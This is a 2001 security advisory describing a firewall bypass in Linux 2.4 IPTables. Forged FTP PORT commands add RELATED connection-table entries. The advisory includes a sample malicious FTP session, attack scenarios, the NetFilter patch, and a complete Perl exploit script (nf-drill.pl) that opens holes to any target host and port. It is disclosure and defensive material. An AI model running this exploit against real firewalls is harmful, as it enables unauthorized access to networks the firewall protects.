01-2001.txt

`=====[ Tempest Security Technologies - Advisory #01 / 2001 ]==============  
  
Security flaw in Linux 2.4 IPTables using FTP PORT  
--------------------------------------------------  
  
Tempest Security Technologies, a business unit of  
CESAR - Centro de Estudos e Sistemas Avançados do Recife  
  
Author: Cristiano Lincoln Mattos, CISSP, SSCP <[email protected]>   
  
Recife, Pernambuco, Brazil  
  
=====[ Table of Contents ]================================================  
  
1. Overview  
2. Detailed description  
3. Solutions  
4. Demonstration tool  
  
=====[ Overview ]=========================================================  
  
* Systems affected: Firewalls using Linux Kernel 2.4.x with IPTables  
* Release date: 14 April 2001  
* Platforms: Linux Kernel 2.4.x  
* Impact: If an attacker can establish an FTP connection passing through   
a Linux 2.4.x IPTables firewall with the state options allowing   
"related" connections (almost 100% do), he can insert entries   
into the firewall's RELATED ruleset table allowing the FTP Server to   
connect to any host and port protected by the firewalls rules,   
including the firewall itself.   
  
This advisory is also available at:  
  
http://www.tempest.com.br/advisories/01-2001.html  
  
Linux 2.4.x includes NetFilter, a raw framework for filtering and   
mangling packets. IPTables, used for firewalling, is set inside the   
NetFilter framework. One of the new features in this setting is   
connection tracking, known to some as "stateful inspection". The four  
possible states it can mantain are: ESTABLISHED, NEW, RELATED and   
INVALID. We are interested here in the RELATED state -- it includes,   
among other things, the FTP DATA connections, active (PORT command) and   
passive (PASV command).  
  
The module ip_conntrack_ftp is responsible for analysing FTP connections   
that pass through the firewall, looking for PORT and PASV commands, and   
including entries for those connections in the firewall's connection   
table. There is a security flaw in the manner in which the PORT   
command is interpreted and processed. Essentially, you can pass any   
IP/port in an FTP PORT commmand, and the module will not validate these   
parameters, adding an entry to the RELATED ruleset allowing connections   
from the FTP server, any source port, to the specified destination IP   
and port. In most cases, people make stringent security rules and have  
lax firewall rules regarding RELATED connections, allowing the attacker  
to connect to anywhere.  
  
This can be used, for example, for the FTP server to connect to any TCP   
port on the firewall, or any other node protected by the firewall. Even  
though there may be rules normally denying this type of traffic, it  
would pass through the firewall, because of the rule allowing RELATED.  
The attacker does not even need to have a valid login in the FTP server,   
as the PORT command is interpreted by the module independently of any   
authentication procedures (USER and PASS).  
  
This is a security flaw which can be exploited when an attacker is in  
a position behind your firewall, i.e., "protected". For example, if your  
firewall protects an FTP Server and the attacker has compromised it by  
other means, he can use this to connect to other protected networks. Or,  
if your attacker is behind your firewall as a client and connects to an  
FTP server on the Internet, he can use it to allow this FTP server to   
connect to other protected networks.  
  
=====[ Detailed description ]=============================================  
  
Most firewall setups using IPTables include the following rule, for   
allowing established and related connections through:  
  
iptables -A FORWARD -m state --state ESTABLISHED, RELATED -j ACCEPT  
  
The "related" state includes connections such as the FTP data transfer   
connections, both active and passive modes. If related connections and   
FTP are allowed through the firewall, then the system is most likely   
vulnerable.  
  
The attack consists in connecting to the FTP server (passing through the   
firewall) and using the PORT commands with arbitrary IP and port   
parameters - the normal parameters should be the client's IP and a random   
port.   
  
To explain the process in more details, we'll outline the following   
scenario:  
  
- Client IP: 200.249.243.12, an IP on the internet  
- Firewall: 200.249.137.1 (internet interface)  
200.249.193.1 (DMZ interface)  
- FTP server: 200.249.193.2 (inside a DMZ network, protected by   
the firewall)  
  
In a normal ftp data transfer, the client would emit the following   
command to initiate an active data transfer:  
  
PORT 200,249,243,12,4,10  
  
Which would insert an entry in the connection table   
(cat /proc/net/ip_conntrack), of the following form:  
  
EXPECTING: proto=6 src=200.249.193.2 dst=200.249.243.12 sport=0 dport=1034  
  
Allowing a connection from the FTP server to the client in the specified   
port. Since the module ip_conntrack_ftp doesn't check the passed IP and   
ports, an attacker can pass the following parameters:  
  
PORT 200,249,193,1,0,22  
  
Which would insert an entry in the connection table   
(cat /proc/net/ip_conntrack), of the following form:  
  
EXPECTING: proto=6 src=200.249.193.2 dst=200.249.193.1 sport=0 dport=22  
  
Allowing a connection from the FTP server to the firewall, on port 22,   
ie, the SSH port. This will work by inserting the rule into the RELATED  
ruleset, which as shown above is normally too open. The rule can be   
inserted to any destination IP and port.  
  
Of course, the FTP server will probably not accept the command (if it has   
anti-bounce protection), saying "Illegal PORT command", but the firewall   
will have interpreted the commands and added an "expecting related" entry   
as described above to its connection table. The attacker will then have   
ten seconds to establish the connection, before the entry expires and is   
removed from the connection table.  
  
It is not even necessary to have logged in the FTP server since the   
module doesn't check for valid USER and PASS commands. All we have to do   
is trick the code into thinking we have established a connection   
(IP_CT_ESTABLISHED+IP_CT_IS_REPLY). To do that, it is only necessary to   
send any string to the FTP server, which should reply with "invalid   
command", and then we send the PORT command with our parameters... the   
FTP server will probably be complaining that a login has not been   
established yet, but the firewall will have done what we want it to:  
  
220 tsunami FTP server ready.  
xxxgarbagexxx  
530 Please login with USER and PASS.  
PORT 200,249,193,1,0,22  
530 Please login with USER and PASS.  
QUIT  
221 Goodbye.  
  
The implications should be obvious -- we outline two main scenarios of   
attack:  
  
* The FTP server is protected by the firewall: in this case, the client   
(attacker) would be on the internet. If the FTP server is compromised   
by the attacker using other means, the attacker can insert rules allowing   
the FTP server to:  
  
- Connect to hosts on the internet, for downloading of trojans,   
tools, reverse tunnels, etc;  
- Connect to the firewall itself and exploit it from there onwards;  
- Connect to other hosts on networks protected by the firewall, such   
as an internal network, for example;  
- ... use your imagination :)  
  
* The client (attacker) is protected by the firewall: in this case, the   
client would connect to an FTP server that he controls on another network  
such as the internet (as long as the connection passes through the   
firewall). The attacker would insert rules allowing the FTP server that   
he controls to:  
  
- Connect to the firewall itself and attack it from there onwards;  
- Connect to other hosts on networks protected by the firewall, such   
as a DMZ or other networks for example;  
- ... again, use your imagination :)  
  
A few observations:  
  
- From my tests, the use of NAT (NAT of the FTP server, NAT of the   
client and NAT of the target) doesn't stop the attack in anyway.   
Of course, the attacker will only have to pay attention to which IP   
he is connecting to, but the entries are inserted into the   
connection table anyway.  
- By default, the ip_conntrack_ftp module only analyses FTP control   
connections on port 21, so this would only work on connections to   
FTP servers binding on port 21. Unless, obviously, the module were   
configured to listen on another port as well.  
- This should not need to be said :) but this attack bypasses the   
firewall rules by inserting an entry into the ruleset for RELATED  
connections -- for the attack to work, there must be a rule   
allowing the client to connect to an FTP server (through the   
firewall) in the first place, and the rule allowing the RELATED   
state for the specified connection. This is a very common setting,   
as most firewalls allow their clients to perform FTP, and the   
too-open RELATED rule is also very common -- i've seen it an lots   
of IPTables FAQs, guides, lists, etc.  
  
=====[ Solutions ]========================================================  
  
First and foremost, you should tighten your firewall rules to limit the  
scope of this vulnerability, by only allowing RELATED connections to the  
hosts that really need them, and not to all connections.  
  
The NetFilter core team was notified and quickly developed a patch. It  
is available at:  
  
http://netfilter.samba.org/security-fix/  
http://netfilter.gnumonks.org/security-fix/  
http://netfilter.filewatcher.org/security-fix/  
  
Since it is small, I've included it here:  
  
diff -urN linux-2.4.3.orig/net/ipv4/netfilter/ip_conntrack_ftp.c linux/net/ipv4/netfilter/ip_conntrack_ftp.c  
- --- linux-2.4.3.orig/net/ipv4/netfilter/ip_conntrack_ftp.c Fri Aug 11 05:35:15 2000  
+++ linux/net/ipv4/netfilter/ip_conntrack_ftp.c Mon Apr 16 02:18:30 2001  
@@ -187,7 +187,12 @@  
(int)matchlen, data + matchoff,  
matchlen, ntohl(tcph->seq) + matchoff);  
  
- - /* Update the ftp info */  
+ /*  
+ * Update the ftp info only if the source address matches the address specified  
+ * in the PORT or PASV command. Closes hole where packets could be dangerously  
+ * marked as RELATED to bypass filtering rules. Thanks to Cristiano Lincoln  
+ * Mattos <[email protected]> for the report.  
+ */  
LOCK_BH(&ip_ftp_lock);  
if (htonl((array[0] << 24) | (array[1] << 16) | (array[2] << 8) | array[3])  
== ct->tuplehash[dir].tuple.src.ip) {  
@@ -197,13 +202,8 @@  
info->ftptype = dir;  
info->port = array[4] << 8 | array[5];  
} else {  
- - /* Enrico Scholz's passive FTP to partially RNAT'd ftp  
- - server: it really wants us to connect to a  
- - different IP address. Simply don't record it for  
- - NAT. */  
- - DEBUGP("conntrack_ftp: NOT RECORDING: %u,%u,%u,%u != %u.%u.%u.%u\n",  
- - array[0], array[1], array[2], array[3],  
- - NIPQUAD(ct->tuplehash[dir].tuple.src.ip));  
+ UNLOCK_BH(&ip_ftp_lock);  
+ return NF_ACCEPT;  
}  
  
t = ((struct ip_conntrack_tuple)  
  
=====[ Demonstration tool ]===============================================  
  
Exploiting this flaw is so simple that you can do it easily manually,   
with telnet. Anyhow, I wrote a perl script to automate the procedures:  
  
Usage: ./nf-drill.pl --server <ftp> [--serverport <port>] --host <target>   
--port <port> [--verbose]  
- server: specifies the FTP server (IP or hostname) to connect to  
- serverport: specifies the port of the FTP server -- default: 21  
- host: the IP of the target to open in the connection table  
- port: the port of the target to open in the connection table  
- verbose: sets verbose mode  
  
#!/usr/bin/perl  
#  
# nf-drill.pl --- "Drill" holes open in Linux iptables connection table  
# Author: Cristiano Lincoln Mattos <[email protected]>, 2001  
#   
# Advisory: http://www.tempest.com.br/advisories/linux-iptables  
#   
# Tempest Security Technologies - a business unit of:  
# CESAR - Centro de Estudos e Sistemas Avancados do Recife  
#  
# This code is licensed under the GPL.  
#  
  
use Socket;  
use Getopt::Long;  
use strict;  
  
# Option variables  
my $server;  
my $serverport = 21;  
my $host;  
my $port;  
my $verbose = 0;  
  
# Print function  
sub out {  
my ($level,$text) = @_;  
if (!$level || ($level && $verbose)) { print "$text"; }  
}  
  
my $opt = GetOptions("server=s" => \$server,  
"serverport=s" => \$serverport,  
"host=s" => \$host,  
"port=i" => \$port,  
"verbose" => \$verbose);  
  
if ($server eq "" || $host eq "" || $port eq "" || $port < 0 || $port > 65535) {  
print "Usage: $0 --server <ftp> [--serverport <port>] --host <target> --port <port> [--verbose]\n";  
print " - server: specifies the FTP server (IP or hostname) to connect to\n";  
print " - serverport: specifies the port of the FTP server -- default: 21\n";  
print " - host: the IP of the target to open in the connection table\n";  
print " - port: the port of the target to open in the connection table\n";  
print " - verbose: sets verbose mode\n";  
exit(0);  
}  
  
print "\n nf-blast.pl -- Cristiano Lincoln Mattos <lincoln\@cesar.org.br>, 2001\n";  
print " Tempest Security Technologies\n\n";  
  
# For the meanwhile, expecting an IP  
my @ip = split(/\./,$host);  
my $str = "PORT " . $ip[0] . "," . $ip[1] . "," . $ip[2] . "," . $ip[3] . "," . ($port >> 8) . "," . ($port % 256) . "\r\n";  
  
# Socket init  
my $ipn = inet_aton($server);  
if (!$ipn) {  
out(0," Error: could not convert $server\n");  
exit(0);  
}  
  
my $sin = sockaddr_in($serverport,$ipn);  
socket(Sock,PF_INET,SOCK_STREAM,6);  
  
if (!connect(Sock,$sin)) {  
out(0," Error: could not connect to $server:$serverport.\n");  
exit(0);  
}  
out(0," - Connected to $server:$serverport\n");  
  
my $buf;  
recv(Sock,$buf,120,0); chomp($buf);  
out(1," - RECV: $buf\n");  
  
# First send a dummy one, just to establish the connection in the iptables logic  
send(Sock,$str,0);  
out(1," - SEND: $str");  
recv(Sock,$buf,120,0); chomp($buf);  
out(1," - RECV: $buf\n");  
  
# Now, send the one that will insert itself into the connection table  
send(Sock,$str,0);  
out(1," - SEND: $str");  
recv(Sock,$buf,120,0); chomp($buf);  
out(1," - RECV: $buf\n");  
  
out(0," * $server should now be able to connect to $host on port $port ! (for the next 10 seconds)\n");  
out(0," - Closing connection to $server:$serverport.\n\n");  
close(Sock);  
  
==========================================================================  
  
Thanks to Marco "Kiko" Carnut and Evandro Curvelo Hora for the comments,   
and to members of the NetFilter Core Team (James Morris, Harald Welte)   
for the quick response, patch and discussion.  
  
" I *know* it's 1 AM, but could you please change the root password?   
This kind of emergency really does happen in real life. "  
  
-- The key argument in a recent   
successfull social engineering attack.  
  
==========================================================================  
  
`